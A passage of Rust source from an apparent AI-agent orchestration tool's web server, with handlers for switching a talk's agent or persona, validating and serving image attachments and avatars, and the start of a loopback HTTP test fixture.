7153 "a talk turn is running; change the agent once it has answered",
7154 ));
7155 };
7156 let switched = {
7157 let ui = Arc::clone(&ui);
7158 let id = id.clone();
7159 let cfg = cfg.clone();
7160 blocking(move || {
7161 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7162 .map_err(ApiError::bad_request_from)?;
7163 let mut talk = ui.talks.get(&id)?;
7164 if !talk.status.open() {
7165 return Err(ApiError::conflict(format!(
7166 "talk {} is {} and takes no more turns",
7167 talk.short(),
7168 talk.status.as_str()
7169 )));
7170 }
7171 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7172 Ok(talk)
7173 })
7174 .await
7175 };
7176 let fresh = {
7181 let ui = Arc::clone(&ui);
7182 let id = id.clone();
7183 blocking(move || Ok(ui.talks.get(&id)?)).await
7184 };
7185 let draining = match fresh {
7186 Ok(talk) => {
7187 let draining = talk.status.open()
7188 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7189 let talks = ui.talks.clone();
7190 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7191 draining
7192 }
7193 Err(_) => false,
7194 };
7195 let talk = switched?;
7196 Ok(Json(TalkView::new(talk, draining)))
7197}
7198
7199#[derive(Debug, Deserialize)]
7201struct TalkPersona {
7202 persona: String,
7203}
7204
7205async fn talk_persona(
7209 State(ui): State<Arc<Ui>>,
7210 Path(id): Path<String>,
7211 Json(body): Json<TalkPersona>,
7212) -> ApiResult<Json<TalkView>> {
7213 let id = {
7214 let ui = Arc::clone(&ui);
7215 blocking(move || resolve_talk(&ui.talks, &id)).await?
7216 };
7217 let repo = {
7218 let ui = Arc::clone(&ui);
7219 let id = id.clone();
7220 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7221 };
7222 let cfg = config_for(&repo).await?;
7223 {
7225 let ui = Arc::clone(&ui);
7226 let id = id.clone();
7227 let cfg = cfg.clone();
7228 let wanted = body.persona.clone();
7229 blocking(move || {
7230 if persona::find(&cfg.talk.personas, &wanted).is_none() {
7231 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7232 }
7233 refuse_if_closed(&ui.talks.get(&id)?)
7234 })
7235 .await?;
7236 }
7237 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7238 return Err(ApiError::conflict(
7239 "a talk turn is running; change the persona once it has answered",
7240 ));
7241 };
7242 let switched = {
7243 let ui = Arc::clone(&ui);
7244 let id = id.clone();
7245 let cfg = cfg.clone();
7246 blocking(move || {
7247 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7248 return Err(ApiError::bad_request(format!(
7249 "unknown persona `{}`",
7250 body.persona
7251 )));
7252 };
7253 let mut talk = ui.talks.get(&id)?;
7254 if !talk.status.open() {
7255 return Err(ApiError::conflict(format!(
7256 "talk {} is {} and takes no more turns",
7257 talk.short(),
7258 talk.status.as_str()
7259 )));
7260 }
7261 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7262 Ok(talk)
7263 })
7264 .await
7265 };
7266 let fresh = {
7268 let ui = Arc::clone(&ui);
7269 let id = id.clone();
7270 blocking(move || Ok(ui.talks.get(&id)?)).await
7271 };
7272 let draining = match fresh {
7273 Ok(talk) => {
7274 let draining = talk.status.open()
7275 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7276 let talks = ui.talks.clone();
7277 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7278 draining
7279 }
7280 Err(_) => false,
7281 };
7282 let talk = switched?;
7283 Ok(Json(TalkView::new(talk, draining)))
7284}
7285
7286#[derive(Debug, Deserialize)]
7288struct TalkImplementers {
7289 implementers: u8,
7290}
7291
7292async fn talk_implementers(
7296 State(ui): State<Arc<Ui>>,
7297 Path(id): Path<String>,
7298 Json(body): Json<TalkImplementers>,
7299) -> ApiResult<Json<TalkView>> {
7300 let id = {
7301 let ui = Arc::clone(&ui);
7302 blocking(move || resolve_talk(&ui.talks, &id)).await?
7303 };
7304 let repo = {
7305 let ui = Arc::clone(&ui);
7306 let id = id.clone();
7307 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7308 };
7309 let cfg = config_for(&repo).await?;
7310 {
7315 let ui = Arc::clone(&ui);
7316 let id = id.clone();
7317 let cfg = cfg.clone();
7318 let wanted = body.implementers;
7319 blocking(move || {
7320 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7321 refuse_if_closed(&ui.talks.get(&id)?)
7322 })
7323 .await?;
7324 }
7325 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7326 return Err(ApiError::conflict(
7327 "a talk turn is running; change the implementers once it has answered",
7328 ));
7329 };
7330 let switched = {
7331 let ui = Arc::clone(&ui);
7332 let id = id.clone();
7333 let cfg = cfg.clone();
7334 blocking(move || {
7335 let chosen =
7336 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7337 let mut talk = ui.talks.get(&id)?;
7338 if !talk.status.open() {
7339 return Err(ApiError::conflict(format!(
7340 "talk {} is {} and takes no more turns",
7341 talk.short(),
7342 talk.status.as_str()
7343 )));
7344 }
7345 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7346 Ok(talk)
7347 })
7348 .await
7349 };
7350 let fresh = {
7352 let ui = Arc::clone(&ui);
7353 let id = id.clone();
7354 blocking(move || Ok(ui.talks.get(&id)?)).await
7355 };
7356 let draining = match fresh {
7357 Ok(talk) => {
7358 let draining = talk.status.open()
7359 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7360 let talks = ui.talks.clone();
7361 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7362 draining
7363 }
7364 Err(_) => false,
7365 };
7366 let talk = switched?;
7367 Ok(Json(TalkView::new(talk, draining)))
7368}
7369
7370async fn talk_close(
7372 State(ui): State<Arc<Ui>>,
7373 Path(id): Path<String>,
7374) -> ApiResult<Json<TalkView>> {
7375 blocking(move || {
7376 let id = resolve_talk(&ui.talks, &id)?;
7377 let mut talk = ui.talks.get(&id)?;
7378 talk::close(&mut talk, &ui.talks)?;
7379 let thinking = ui.is_thinking(&talk.id);
7380 Ok(Json(TalkView::new(talk, thinking)))
7381 })
7382 .await
7383}
7384
7385async fn talk_reopen(
7387 State(ui): State<Arc<Ui>>,
7388 Path(id): Path<String>,
7389) -> ApiResult<Json<TalkView>> {
7390 blocking(move || {
7391 let id = resolve_talk(&ui.talks, &id)?;
7392 let mut talk = ui.talks.get(&id)?;
7393 talk::reopen(&mut talk, &ui.talks)?;
7394 let thinking = ui.is_thinking(&talk.id);
7395 Ok(Json(TalkView::new(talk, thinking)))
7396 })
7397 .await
7398}
7399
7400async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7410 blocking(move || {
7411 let id = resolve_talk(&ui.talks, &id)?;
7412 ui.talks.remove(&id)?;
7413 Ok(StatusCode::NO_CONTENT)
7414 })
7415 .await
7416}
7417
7418fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7420 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7421}
7422
7423async fn talk_attachment_post(
7426 State(ui): State<Arc<Ui>>,
7427 Path(id): Path<String>,
7428 headers: HeaderMap,
7429 body: Bytes,
7430) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7431 let mime = validate_attachment(&headers, &body)?;
7432 let name = filename_header(&headers);
7433 let data = body.to_vec();
7434 blocking(move || {
7435 let id = resolve_talk(&ui.talks, &id)?;
7436 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7437 Ok((StatusCode::CREATED, Json(att)))
7438 })
7439 .await
7440}
7441
7442async fn talk_attachment_get(
7445 State(ui): State<Arc<Ui>>,
7446 Path((id, att)): Path<(String, String)>,
7447) -> ApiResult<Response> {
7448 blocking(move || {
7449 let id = resolve_talk(&ui.talks, &id)?;
7450 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7451 return Err(ApiError::not_found(format!(
7452 "talk {id} has no attachment `{att}`"
7453 )));
7454 };
7455 Ok(attachment_response(&meta.mime, data))
7456 })
7457 .await
7458}
7459
7460fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
7463 let mut id = String::new();
7464 for b in p.id.bytes() {
7465 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
7466 id.push(char::from(b));
7467 } else {
7468 id.push_str(&format!("%{b:02X}"));
7469 }
7470 }
7471 format!(
7472 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
7473 persona_icon::fingerprint(p.icon.as_deref())
7474 )
7475}
7476
7477#[derive(Debug, Default, Deserialize)]
7478struct AvatarQuery {
7479 persona: Option<String>,
7480 builtin: Option<String>,
7482}
7483
7484const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
7486
7487fn builtin_avatar(id: &str) -> Response {
7488 (
7489 [
7490 (header::CONTENT_TYPE, "image/svg+xml"),
7491 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7492 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
7493 (header::CACHE_CONTROL, "no-cache"),
7494 ],
7495 persona_icon::builtin_svg(id),
7496 )
7497 .into_response()
7498}
7499
7500async fn talk_avatar(
7505 State(ui): State<Arc<Ui>>,
7506 Path(id): Path<String>,
7507 Query(q): Query<AvatarQuery>,
7508) -> ApiResult<Response> {
7509 blocking(move || {
7510 let id = resolve_talk(&ui.talks, &id)?;
7511 let talk = ui.talks.get(&id)?;
7512 let wanted = q
7513 .persona
7514 .as_deref()
7515 .map(str::trim)
7516 .filter(|p| !p.is_empty())
7517 .unwrap_or(&talk.persona)
7518 .to_owned();
7519 let specs = match Config::discover(&talk.repo, None) {
7520 Ok((cfg, _)) => cfg.talk.personas,
7521 Err(e) => {
7522 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
7523 Vec::new()
7524 }
7525 };
7526 let Some(found) = persona::find(&specs, &wanted) else {
7527 return Ok(builtin_avatar(persona::DEFAULT_ID));
7528 };
7529 let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
7530 return Ok(builtin_avatar(&found.id));
7531 };
7532 match persona_icon::load(icon) {
7533 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
7534 let mut res = attachment_response(mime, bytes);
7535 res.headers_mut().insert(
7536 header::CACHE_CONTROL,
7537 header::HeaderValue::from_static("no-cache"),
7538 );
7539 Ok(res)
7540 }
7541 Ok((mime, _)) => {
7542 tracing::warn!(
7543 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
7544 found.id
7545 );
7546 Ok(builtin_avatar(&found.id))
7547 }
7548 Err(e) => {
7549 tracing::warn!(
7550 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
7551 found.id
7552 );
7553 Ok(builtin_avatar(&found.id))
7554 }
7555 }
7556 })
7557 .await
7558}
7559
7560fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7571 if data.len() > ATTACHMENT_MAX_BYTES {
7572 return Err(ApiError::bad_request(format!(
7573 "attachment is {} bytes, over the {} MiB limit",
7574 data.len(),
7575 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7576 ))
7577 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7578 }
7579 if data.is_empty() {
7580 return Err(ApiError::bad_request("attachment is empty"));
7581 }
7582 let declared = declared_mime(headers)?;
7583 match sniffed_mime(data) {
7584 Some(sniffed) if sniffed == declared => Ok(declared),
7585 Some(sniffed) => Err(ApiError::bad_request(format!(
7586 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7587 ))),
7588 None => Err(ApiError::bad_request(
7589 "the file's bytes do not match any accepted image format",
7590 )),
7591 }
7592}
7593
7594fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7598 let raw = headers
7599 .get(header::CONTENT_TYPE)
7600 .and_then(|v| v.to_str().ok())
7601 .unwrap_or("")
7602 .split(';')
7603 .next()
7604 .unwrap_or("")
7605 .trim()
7606 .to_ascii_lowercase();
7607 ATTACHMENT_MIME_WHITELIST
7608 .iter()
7609 .find(|&&m| m == raw)
7610 .copied()
7611 .ok_or_else(|| {
7612 if raw == "image/svg+xml" {
7613 ApiError::bad_request(
7614 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7615 not just a picture",
7616 )
7617 } else if raw.is_empty() {
7618 ApiError::bad_request("Content-Type is required for an attachment upload")
7619 } else {
7620 ApiError::bad_request(format!(
7621 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7622 image/gif or image/webp"
7623 ))
7624 }
7625 })
7626}
7627
7628fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7631 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7632 Some("image/png")
7633 } else if data.starts_with(b"\xff\xd8\xff") {
7634 Some("image/jpeg")
7635 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7636 Some("image/gif")
7637 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7638 Some("image/webp")
7639 } else {
7640 None
7641 }
7642}
7643
7644fn filename_header(headers: &HeaderMap) -> String {
7650 headers
7651 .get(FILENAME_HEADER)
7652 .and_then(|v| v.to_str().ok())
7653 .map(str::trim)
7654 .filter(|s| !s.is_empty())
7655 .unwrap_or("attachment")
7656 .to_owned()
7657}
7658
7659fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7666 let content_type = ATTACHMENT_MIME_WHITELIST
7667 .iter()
7668 .find(|&&m| m == mime)
7669 .copied()
7670 .unwrap_or("application/octet-stream");
7671 (
7672 [
7673 (header::CONTENT_TYPE, content_type),
7674 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7675 ],
7676 body,
7677 )
7678 .into_response()
7679}
7680
7681async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7689 let repo = repo.to_path_buf();
7690 blocking(move || {
7691 let (cfg, _) = Config::discover(&repo, None)?;
7692 Ok(cfg)
7693 })
7694 .await
7695}
7696
7697fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7703 let mut hits = ids
7704 .into_iter()
7705 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7706 match (hits.next(), hits.next()) {
7707 (Some(one), None) => Ok(one),
7708 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7709 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7710 "`{prefix}` matches more than one {what}, including {a} and {b}"
7711 ))),
7712 }
7713}
7714
7715#[cfg(test)]
7716mod tests {
7717
7718 #[test]
7719 fn holder_reads_the_lease_not_the_record() {
7720 let mut q = Question::new(
7721 "run".to_owned(),
7722 "implement".to_owned(),
7723 "impl-A".to_owned(),
7724 "which?".to_owned(),
7725 String::new(),
7726 Vec::new(),
7727 );
7728 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7729 q.cwd = Some("/tmp".to_owned());
7730 assert_eq!(holder_of(&q, None), Some("nobody"));
7731 let beat = |kind, ago: i64| ask::Lease {
7732 kind,
7733 pid: 1,
7734 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7735 .unwrap(),
7736 };
7737 let fresh = beat(ask::WaiterKind::Asker, 1);
7738 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7739 let daemon = beat(ask::WaiterKind::Daemon, 1);
7740 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7741 let stale = beat(ask::WaiterKind::Asker, 3600);
7742 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7743
7744 let mut c = Question::new(
7747 "task".to_owned(),
7748 crate::conduct::NODE.to_owned(),
7749 "conduct".to_owned(),
7750 "which?".to_owned(),
7751 String::new(),
7752 Vec::new(),
7753 );
7754 assert_eq!(holder_of(&c, None), Some("nobody"));
7755 c.cwd = Some("/tmp".to_owned());
7756 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7757 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7758 let deputy = beat(ask::WaiterKind::Deputy, 1);
7759 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7760 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7761
7762 let mut r = Question::new(
7764 String::new(),
7765 crate::bump::NOTICE_NODE.to_owned(),
7766 "release-watch".to_owned(),
7767 "stuck?".to_owned(),
7768 String::new(),
7769 vec!["hold".to_owned()],
7770 );
7771 assert_eq!(holder_of(&r, None), Some("nobody"));
7772 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7773 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7774 r.deputy = None;
7776 r.seat = "bump".to_owned();
7777 assert_eq!(holder_of(&r, None), None);
7778
7779 let mut m = Question::new(
7782 "run".to_owned(),
7783 crate::land::APPROVAL_NODE.to_owned(),
7784 "land".to_owned(),
7785 "merge?".to_owned(),
7786 String::new(),
7787 Vec::new(),
7788 );
7789 assert_eq!(holder_of(&m, None), Some("nobody"));
7790 assert_eq!(
7791 holder_of(&m, Some(&fresh)),
7792 Some("nobody"),
7793 "a lease with no deputy is not a listener"
7794 );
7795 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7796 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7797 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7798 assert_eq!(holder_of(&m, None), Some("nobody"));
7799 }
7800
7801 fn stub_config() -> Config {
7802 Config {
7805 agents: vec![crate::config::AgentSpec {
7806 id: "stub".to_owned(),
7807 kind: AgentKind::Command,
7808 model: None,
7809 command: vec!["true".to_owned()],
7810 extra_args: Vec::new(),
7811 env: Default::default(),
7812 prompt_delivery: None,
7813 }],
7814 ..Config::default()
7815 }
7816 }
7817
7818 fn plain_question(seat: &str) -> Question {
7819 Question::new(
7820 String::new(),
7821 "n".to_owned(),
7822 seat.to_owned(),
7823 "s".to_owned(),
7824 String::new(),
7825 Vec::new(),
7826 )
7827 }
7828
7829 #[test]
7830 fn deputies_enabled_follows_the_config() {
7831 let on = stub_config();
7832 assert!(crate::deputy::can_start(Some(&on), ""));
7833 assert!(crate::deputy::can_start(Some(&on), "stub"));
7834 let mut off = on.clone();
7835 off.daemon.max_deputies = 0;
7836 assert!(!crate::deputy::can_start(Some(&off), ""));
7837 let mut empty = on;
7838 empty.agents.clear();
7839 assert!(!crate::deputy::can_start(Some(&empty), ""));
7840 assert!(!crate::deputy::can_start(None, ""));
7841 }
7842
7843 #[test]
7844 fn question_views_load_the_config_once() {
7845 let dir = TempDir::new().unwrap();
7846 let store = ask::Questions::at(dir.path().to_path_buf());
7847 let mut with_deputy = plain_question("b");
7848 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7849 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7850
7851 let calls = std::cell::Cell::new(0usize);
7852 let views = question_views(qs.clone(), &store, || {
7853 calls.set(calls.get() + 1);
7854 Some(stub_config())
7855 });
7856 assert_eq!(calls.get(), 1);
7857 assert_eq!(views.len(), 3);
7858 for (v, q) in views.iter().zip(&qs) {
7859 assert_eq!(
7860 v.deputies_enabled,
7861 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7862 );
7863 }
7864
7865 let views = question_views(qs, &store, || None);
7866 assert!(views.iter().all(|v| !v.deputies_enabled));
7867
7868 let calls = std::cell::Cell::new(0usize);
7869 let views = question_views(Vec::new(), &store, || {
7870 calls.set(calls.get() + 1);
7871 None
7872 });
7873 assert!(views.is_empty());
7874 assert_eq!(calls.get(), 0);
7875 }
7876
7877 use pretty_assertions::assert_eq;
7878 use serde_json::Value;
7879 use tempfile::TempDir;
7880 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7881
7882 use super::*;
7883 use crate::config::Config;
7884 use crate::queue::Source;
7885
7886 const SETTLE_STEPS: usize = 3_000;
7897
7898 struct Fixture {
7904 home: TempDir,
7905 addr: SocketAddr,
7906 }
7907
7908 impl Fixture {
7909 async fn start() -> Self {
7910 Self::with_loop(launch_idle).await
7911 }
7912
7913 async fn with_loop(launch: Launch) -> Self {
7915 let home = TempDir::new().expect("temp home");
7916 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7917 Self { home, addr }
7918 }
7919
7920 async fn with_repo(repo: PathBuf) -> Self {
7924 let home = TempDir::new().expect("temp home");
7925 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7926 Self { home, addr }
7927 }
7928
7929 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7932 let home = TempDir::new().expect("temp home");
7933 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7934 Self { home, addr }
7935 }
7936
7937 async fn serve(
7938 home: &FsPath,
7939 repo: PathBuf,
7940 launch: Launch,
7941 machine: Option<PathBuf>,
7942 ) -> SocketAddr {
7943 let queue = Queue::at(home.join("queue"));
7944 let runs = home.join("runs");
7945 std::fs::create_dir_all(&runs).expect("runs dir");
7946 let worktrees = home.join("wt").join("magi");
7947 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7948 let ui = Ui::new(
7949 queue,
7950 Questions::at(home.join("questions")),
7951 Talks::at(home.join("talks")),
7952 runs,
7953 home.to_path_buf(),
7954 repo,
7955 )
7956 .with_worktrees_root(worktrees)
7957 .with_machine_config(machine)
7958 .with_launch(launch);
7959 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7960 .await
7961 .expect("bind loopback");
7962 let addr = listener.local_addr().expect("local addr");
7963 tokio::spawn(async move {
7964 let _ = axum::serve(listener, ui.router()).await;
7965 });
7966 addr
7967 }
7968
7969 fn queue(&self) -> Queue {
7970 Queue::at(self.home.path().join("queue"))
7971 }
7972
7973 fn questions(&self) -> Questions {
7974 Questions::at(self.home.path().join("questions"))
7975 }
7976
7977 fn talks(&self) -> Talks {
7978 Talks::at(self.home.path().join("talks"))
7979 }
7980
7981 fn runs(&self) -> PathBuf {
7982 self.home.path().join("runs")
7983 }
7984
7985 async fn get(&self, path: &str) -> Res {
7986 request(self.addr, "GET", path, None).await
7987 }
7988
7989 async fn head(&self, path: &str) -> Res {
7994 request(self.addr, "HEAD", path, None).await
7995 }
7996
7997 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7998 request(self.addr, "POST", path, body).await
7999 }
8000
8001 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8002 request_with(self.addr, "GET", path, None, extra).await
8003 }
8004
8005 async fn delete(&self, path: &str) -> Res {
8006 request(self.addr, "DELETE", path, None).await
8007 }
8008
8009 async fn put(&self, path: &str, body: &str) -> Res {
8010 request(self.addr, "PUT", path, Some(body)).await
8011 }
8012
8013 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8015 request_bytes(self.addr, path, headers, body).await
8016 }
8017 }
8018
8019 struct Res {
8020 status: u16,
8021 headers: String,
8022 head: String,
8027 body: String,
8028 bytes: Vec<u8>,
8032 }
8033
8034 impl Res {
8035 fn json(&self) -> Value {
8036 serde_json::from_str(&self.body)
8037 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8038 }
8039
8040 fn header(&self, name: &str) -> Option<&str> {
8042 self.head.lines().find_map(|line| {
8043 let (key, value) = line.split_once(':')?;
8044 key.trim()
8045 .eq_ignore_ascii_case(name)
8046 .then(|| value.trim_start().trim_end_matches('\r'))
8047 })
8048 }
8049 }
8050
8051 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8054 request_with(addr, method, path, body, &[]).await
8055 }
8056
8057 async fn request_with(
8061 addr: SocketAddr,
8062 method: &str,
8063 path: &str,
8064 body: Option<&str>,
8065 extra: &[(&str, &str)],
8066 ) -> Res {
8067 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8068 for (name, value) in extra {
8069 head.push_str(&format!("{name}: {value}\r\n"));
8070 }
8071 if let Some(body) = body {
8072 head.push_str("Content-Type: application/json\r\n");
8073 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8074 }
8075 head.push_str("\r\n");
8076 if let Some(body) = body {
8077 head.push_str(body);
8078 }
8079 let mut socket = tokio::net::TcpStream::connect(addr)
8080 .await
8081 .expect("connect to the test server");
8082 socket
8083 .write_all(head.as_bytes())
8084 .await
8085 .expect("write request");
8086 let mut raw = Vec::new();
8087 socket.read_to_end(&mut raw).await.expect("read response");
8088 let split = raw
8091 .windows(4)
8092 .position(|w| w == b"\r\n\r\n")
8093 .expect("a header block");
8094 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8095 let bytes = raw[split + 4..].to_vec();
8096 let status = head
8097 .lines()
8098 .next()
8099 .and_then(|line| line.split_whitespace().nth(1))
8100 .and_then(|code| code.parse().ok())
8101 .expect("a status line");
8102 Res {
8103 status,
8104 headers: head.to_lowercase(),
8105 head,
8106 body: String::from_utf8_lossy(&bytes).into_owned(),
8107 bytes,
8108 }
8109 }
8110
8111 async fn request_bytes(
8117 addr: SocketAddr,
8118 path: &str,
8119 headers: &[(&str, &str)],
8120 body: &[u8],
8121 ) -> Res {
8122 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8123 for (name, value) in headers {
8124 head.push_str(&format!("{name}: {value}\r\n"));
8125 }
8126 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8127 let mut socket = tokio::net::TcpStream::connect(addr)
8128 .await
8129 .expect("connect to the test server");
8130 socket
8131 .write_all(head.as_bytes())
8132 .await
8133 .expect("write request head");
8134 socket.write_all(body).await.expect("write request body");
8135 let mut raw = Vec::new();
8136 socket.read_to_end(&mut raw).await.expect("read response");
8137 let split = raw
8138 .windows(4)
8139 .position(|w| w == b"\r\n\r\n")
8140 .expect("a header block");
8141 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8142 let bytes = raw[split + 4..].to_vec();
8143 let status = head
8144 .lines()
8145 .next()
8146 .and_then(|line| line.split_whitespace().nth(1))
8147 .and_then(|code| code.parse().ok())
8148 .expect("a status line");
8149 Res {
8150 status,
8151 headers: head.to_lowercase(),
8152 head,
8153 body: String::from_utf8_lossy(&bytes).into_owned(),
8154 bytes,
8155 }
8156 }
8157
8158 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8160 let mut state = RunState::new(
8161 PathBuf::from("/repo/magi"),
8162 "main".to_owned(),
8163 "0123456789abcdef".to_owned(),
8164 "Add a web UI\n\nMobile first.".to_owned(),
8165 Config::default(),
8166 );
8167 state.id = id.to_owned();
8168 state.status = status;
8169 let dir = runs.join(id);
8170 std::fs::create_dir_all(&dir).expect("run dir");
8171 std::fs::write(
8172 dir.join("run.json"),
8173 serde_json::to_string_pretty(&state).expect("serialize run"),
8174 )
8175 .expect("write run.json");
8176 }
8177
8178 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8182 let mut state = RunState::new(
8183 PathBuf::from(repo),
8184 "main".to_owned(),
8185 "0123456789abcdef".to_owned(),
8186 "task".to_owned(),
8187 Config::default(),
8188 );
8189 state.id = id.to_owned();
8190 state.status = status;
8191 let dir = runs.join(id);
8192 std::fs::create_dir_all(&dir).expect("run dir");
8193 std::fs::write(
8194 dir.join("run.json"),
8195 serde_json::to_string_pretty(&state).expect("serialize run"),
8196 )
8197 .expect("write run.json");
8198 }
8199
8200 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8201 let body = serde_json::json!({
8202 "schema": 1,
8203 "pid": 4242,
8204 "started_at": Timestamp::now().to_string(),
8205 "updated_at": updated_at.to_string(),
8206 "idle": false,
8207 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8208 "completed": 7,
8209 "polls": 143,
8210 });
8211 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8212 }
8213
8214 fn launch_idle(
8224 _opts: daemon::Opts,
8225 stop: daemon::Stop,
8226 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8227 Box::pin(async move {
8228 while !stop.stopped() {
8229 tokio::time::sleep(Duration::from_millis(2)).await;
8230 }
8231 Ok(())
8232 })
8233 }
8234
8235 fn launch_broken(
8238 _opts: daemon::Opts,
8239 _stop: daemon::Stop,
8240 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8241 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8246 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8247 Box::pin(async move {
8248 Err(anyhow::anyhow!(if first {
8249 "publish the daemon status file: read-only file system"
8250 } else {
8251 "the restarted stand-in failed as well"
8252 }))
8253 })
8254 }
8255
8256 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8263 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8264
8265 fn launch_knocking_on_the_way_out(
8272 _opts: daemon::Opts,
8273 stop: daemon::Stop,
8274 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8275 Box::pin(async move {
8276 while !stop.stopped() {
8277 tokio::time::sleep(Duration::from_millis(2)).await;
8278 }
8279 let addr = PARK_KNOCK
8280 .lock()
8281 .expect("park knock")
8282 .expect("the test set an address");
8283 let heard = request(addr, "GET", "/api/health", None).await.status;
8284 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8285 Ok(())
8286 })
8287 }
8288
8289 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8298 for _ in 0..SETTLE_STEPS {
8299 let view = fx.get("/api/loop").await.json();
8300 if want(&view) {
